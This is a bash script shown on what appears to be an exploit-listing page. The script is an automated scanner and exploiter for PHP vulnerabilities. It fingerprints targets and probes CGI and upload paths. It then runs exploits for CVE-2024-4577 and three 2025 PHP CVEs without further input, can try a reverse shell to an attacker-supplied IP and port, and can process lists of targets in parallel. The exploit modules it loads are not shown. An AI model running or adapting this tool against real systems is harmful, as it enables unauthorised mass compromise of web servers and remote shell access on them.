5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / PHP8.1.x_Exploit.sh SH
#!/usr/bin/env bash
# PHP CVE Autopilot – modular, per‑CVE exploitation prompts
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
MODULES_DIR="$SCRIPT_DIR/modules"
REPORT_DIR="$SCRIPT_DIR/reports"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
REPORT_FILE="$REPORT_DIR/php_cve_scan_${TIMESTAMP}.txt"

# Defaults
VERBOSE=0
NO_COLOR=0
TIMEOUT=10
REVERSE_IP=""
REVERSE_PORT=""
TARGET_URL=""
LIST_FILE=""
SCAN_ONLY=0
OUTPUT_FILE=""
THREADS=5

# Load utils
source "$MODULES_DIR/utils.sh"

# Load modules
source "$MODULES_DIR/cve_2024_4577.sh"
source "$MODULES_DIR/cve_2025_14177.sh"
source "$MODULES_DIR/cve_2025_14180.sh"
source "$MODULES_DIR/cve_2025_14178.sh"

# ----------------------------------------------------------------------
# Detection phase – collects vulnerable endpoints
# ----------------------------------------------------------------------
declare -A VULN_DETECTED
declare -A VULN_DATA

detect_all() {
    local base_url="$1"
    VULN_DETECTED=()
    VULN_DATA=()

    log_info "Detecting CVEs on $base_url"

    # Fingerprinting
    local os php_ver
    os=$(detect_os "$base_url")
    php_ver=$(detect_php_version "$base_url")
    log_info "OS: $os"
    log_info "PHP version: $php_ver"

    # CVE-2024-4577 (Windows CGI)
    if [[ "$os" == "windows" ]]; then
        local cgi_list
        cgi_list=$(find_cgi_endpoints "$base_url")
        while read -r cgi; do
            if [[ -n "$cgi" ]]; then
                local vuln_url
                if vuln_url=$(detect_cve_2024_4577 "$cgi" "$os"); then
                    log_success "CVE-2024-4577 detected at $vuln_url"
                    VULN_DETECTED["CVE-2024-4577"]=1
                    VULN_DATA["CVE-2024-4577"]="$vuln_url"
                    break
                fi
            fi
        done <<< "$cgi_list"
    fi

    # CVE-2025-14177 (heap leak)
    local upload_list
    upload_list=$(find_upload_endpoints "$base_url")
    while read -r up; do
        if [[ -n "$up" ]]; then
            if detect_cve_2025_14177 "$up"; then
                log_success "CVE-2025-14177 detected at $up"
                VULN_DETECTED["CVE-2025-14177"]=1
                VULN_DATA["CVE-2025-14177"]="$up"
                break
            fi
        fi
    done <<< "$upload_list"

    # Local tests (if we have PHP CLI and/or RCE later)
    if command -v php &>/dev/null; then
        if [[ $(detect_cve_2025_14180) == "VULN" ]]; then
            log_success "CVE-2025-14180 detected locally"
            VULN_DETECTED["CVE-2025-14180"]=1
        fi
        if [[ $(detect_cve_2025_14178) == "VULN" ]]; then
            log_success "CVE-2025-14178 detected locally"
            VULN_DETECTED["CVE-2025-14178"]=1
        fi
    fi
}

# ----------------------------------------------------------------------
# Exploitation per CVE (autopilot)
# ----------------------------------------------------------------------
exploit_per_cve() {
    local base_url="$1"
    for cve in "${!VULN_DETECTED[@]}"; do
        echo
        log_warn "Exploiting $cve automatically"
        case "$cve" in
            "CVE-2024-4577")
                local url="${VULN_DATA[$cve]}"
                exploit_cve_2024_4577 "$url" "$REVERSE_IP" "$REVERSE_PORT"
                ;;
            "CVE-2025-14177")
                local upload_url="${VULN_DATA[$cve]}"
                exploit_cve_2025_14177 "$upload_url" "$REPORT_DIR/heap_leaks_$TIMESTAMP"
                ;;
            "CVE-2025-14180")
                # If we have a CGI endpoint, use it; else local
                local target="${VULN_DATA["CVE-2024-4577"]:-}"
                if [[ -z "$target" ]]; then
                    target="$base_url"
                fi
                exploit_cve_2025_14180 "$target"
                ;;
            "CVE-2025-14178")
                local target="${VULN_DATA["CVE-2024-4577"]:-}"
                if [[ -z "$target" ]]; then
                    target="$base_url"
                fi
                exploit_cve_2025_14178 "$target"
                ;;
        esac
    done
}

# ----------------------------------------------------------------------
# Helper discovery functions (copy from previous script)
# ----------------------------------------------------------------------
detect_os() {
    local url="$1"
    local headers
    headers=$(curl -s -I --max-time "$TIMEOUT" -A "${USER_AGENT:-Mozilla/5.0}" "$url" 2>/dev/null)
    if echo "$headers" | grep -qi "windows\|win32\|iis"; then
        echo "windows"
    elif echo "$headers" | grep -qi "linux\|ubuntu\|debian\|centos"; then
        echo "linux"
    else
        echo "unknown"
    fi
}

detect_php_version() {
    local url="$1"
    local headers
    headers=$(curl -s -I --max-time "$TIMEOUT" -A "${USER_AGENT:-Mozilla/5.0}" "$url" 2>/dev/null)
    local php_ver
    php_ver=$(echo "$headers" | grep -i "x-powered-by" | grep -oP 'PHP/[\d.]+' | head -1)
    if [[ -z "$php_ver" ]]; then
        # Try probing with a PHP file
        local probe_url="${url}phpinfo.php"
        local resp
        resp=$(http_get "$probe_url")
        php_ver=$(echo "$resp" | grep -oP 'PHP Version [\d.]+' | head -1)
    fi
    echo "${php_ver:-unknown}"
}

find_cgi_endpoints() {
    local base="$1"
    local paths=(
        "/cgi-bin/php" "/cgi-bin/php5" "/cgi-bin/php7" "/cgi-bin/php-cgi"
        "/php-cgi/php-cgi.exe" "/php-cgi/php.exe" "/cgi-bin/php.exe"
        "/cgi/php" "/cgi/php-cgi" "/cgi-bin/php.inc"
    )
    for p in "${paths[@]}"; do
        echo "${base}${p}"
    done
    # Add crawled CGI-like links
    local crawled
    crawled=$(crawl_links "$base")
    echo "$crawled" | grep -i cgi
}

find_upload_endpoints() {
    local base="$1"
    local paths=("/upload" "/uploads" "/upload.php" "/fileupload" "/imageupload" "/api/upload" "/admin/upload")
    for p in "${paths[@]}"; do
        echo "${base}${p}"
    done
    # Add crawled upload forms
    local crawled
    crawled=$(crawl_links "$base")
    echo "$crawled" | grep -i upload
}

crawl_links() {
    local url="$1"
    local html
    html=$(http_get "$url")
    # Extract href and action attributes
    echo "$html" | grep -oP '(?<=href=")[^"]*' | grep '^/' | sed "s|^|$url|" | sed 's|//|/|g'
    echo "$html" | grep -oP '(?<=action=")[^"]*' | grep '^/' | sed "s|^|$url|" | sed 's|//|/|g'
}

main() {
    while [[ $# -gt 0 ]]; do
        case "$1" in
            -u|--url) TARGET_URL="$2"; shift 2 ;;
            -l|--list) LIST_FILE="$2"; shift 2 ;;
            --scan-only) SCAN_ONLY=1; shift ;;
            -o|--output) OUTPUT_FILE="$2"; shift 2 ;;
            --threads) THREADS="$2"; shift 2 ;;
            --timeout) TIMEOUT="$2"; shift 2 ;;
            --revshell) REVERSE_IP="$2"; REVERSE_PORT="$3"; shift 3 ;;
            --verbose) VERBOSE=1; shift ;;
            --debug) VERBOSE=2; shift ;;
            --no-color) NO_COLOR=1; shift ;;
            -h|--help) show_help; exit 0 ;;
            *) echo "Unknown option: $1"; show_help; exit 1 ;;
        esac
    done

    if [[ -n "$LIST_FILE" ]]; then
        if command -v parallel &>/dev/null; then
            log_info "Using parallel for batch scanning with $THREADS threads"
            parallel -j "$THREADS" --no-notice "$0 -u {} --timeout $TIMEOUT $( [[ $SCAN_ONLY -eq 1 ]] && echo '--scan-only' ) $( [[ -n "$OUTPUT_FILE" ]] && echo "-o $OUTPUT_FILE" ) $( [[ -n "$REVERSE_IP" ]] && echo "--revshell $REVERSE_IP $REVERSE_PORT" ) $( [[ $VERBOSE -ge 1 ]] && echo '--verbose' ) $( [[ $VERBOSE -ge 2 ]] && echo '--debug' ) $( [[ $NO_COLOR -eq 1 ]] && echo '--no-color' )" :::: "$LIST_FILE"
        else
            log_warn "GNU parallel not found, processing sequentially"
            while IFS= read -r url; do
                [[ -z "$url" ]] && continue
                log_info "Processing $url"
                process_single_url "$url"
            done < "$LIST_FILE"
        fi
    elif [[ -n "$TARGET_URL" ]]; then
        process_single_url "$TARGET_URL"
    else
        show_help
        exit 1
    fi
}

process_single_url() {
    local url="$1"
    mkdir -p "$REPORT_DIR"
    local base_url
    base_url=$(normalize_url "$url")
    echo "Starting PHP CVE Autopilot against $base_url" | tee -a "${OUTPUT_FILE:-/dev/null}"
    detect_all "$base_url" | tee -a "${OUTPUT_FILE:-/dev/null}"

    if [[ ${#VULN_DETECTED[@]} -eq 0 ]]; then
        log_warn "No vulnerabilities found." | tee -a "${OUTPUT_FILE:-/dev/null}"
    else
        if [[ $SCAN_ONLY -eq 0 ]]; then
            exploit_per_cve "$base_url" | tee -a "${OUTPUT_FILE:-/dev/null}"
        else
            log_info "Scan-only mode: skipping exploitation"
        fi
    fi

    log_ok "Full report saved to ${OUTPUT_FILE:-$REPORT_FILE}"
}

show_help() {
    cat << EOF
PHP CVE Autopilot – Automated PHP vulnerability scanner and exploiter

USAGE:
    $0 -u <URL> [OPTIONS]
    $0 -l <FILE> [OPTIONS]

OPTIONS:
    -u, --url URL          Single target URL (e.g., http://example.com/)
    -l, --list FILE        File with URLs, one per line
    --scan-only            Detect only, do not exploit
    -o, --output FILE      Write report to FILE
    --threads N            Parallel threads for batch (default: 5)
    --timeout N            HTTP timeout in seconds (default: 10)
    --revshell IP PORT     Attempt reverse shell for CVE-2024-4577
    --verbose              Show detailed progress
    --debug                Show HTTP requests (noisy)
    --no-color             Disable colored output
    -h, --help             Show this help

EXAMPLES:
    $0 -u http://target.com/
    $0 -u http://target.com/ --revshell 192.168.1.100 4444
    $0 -l targets.txt --threads 10 --scan-only
EOF
}

main "$@"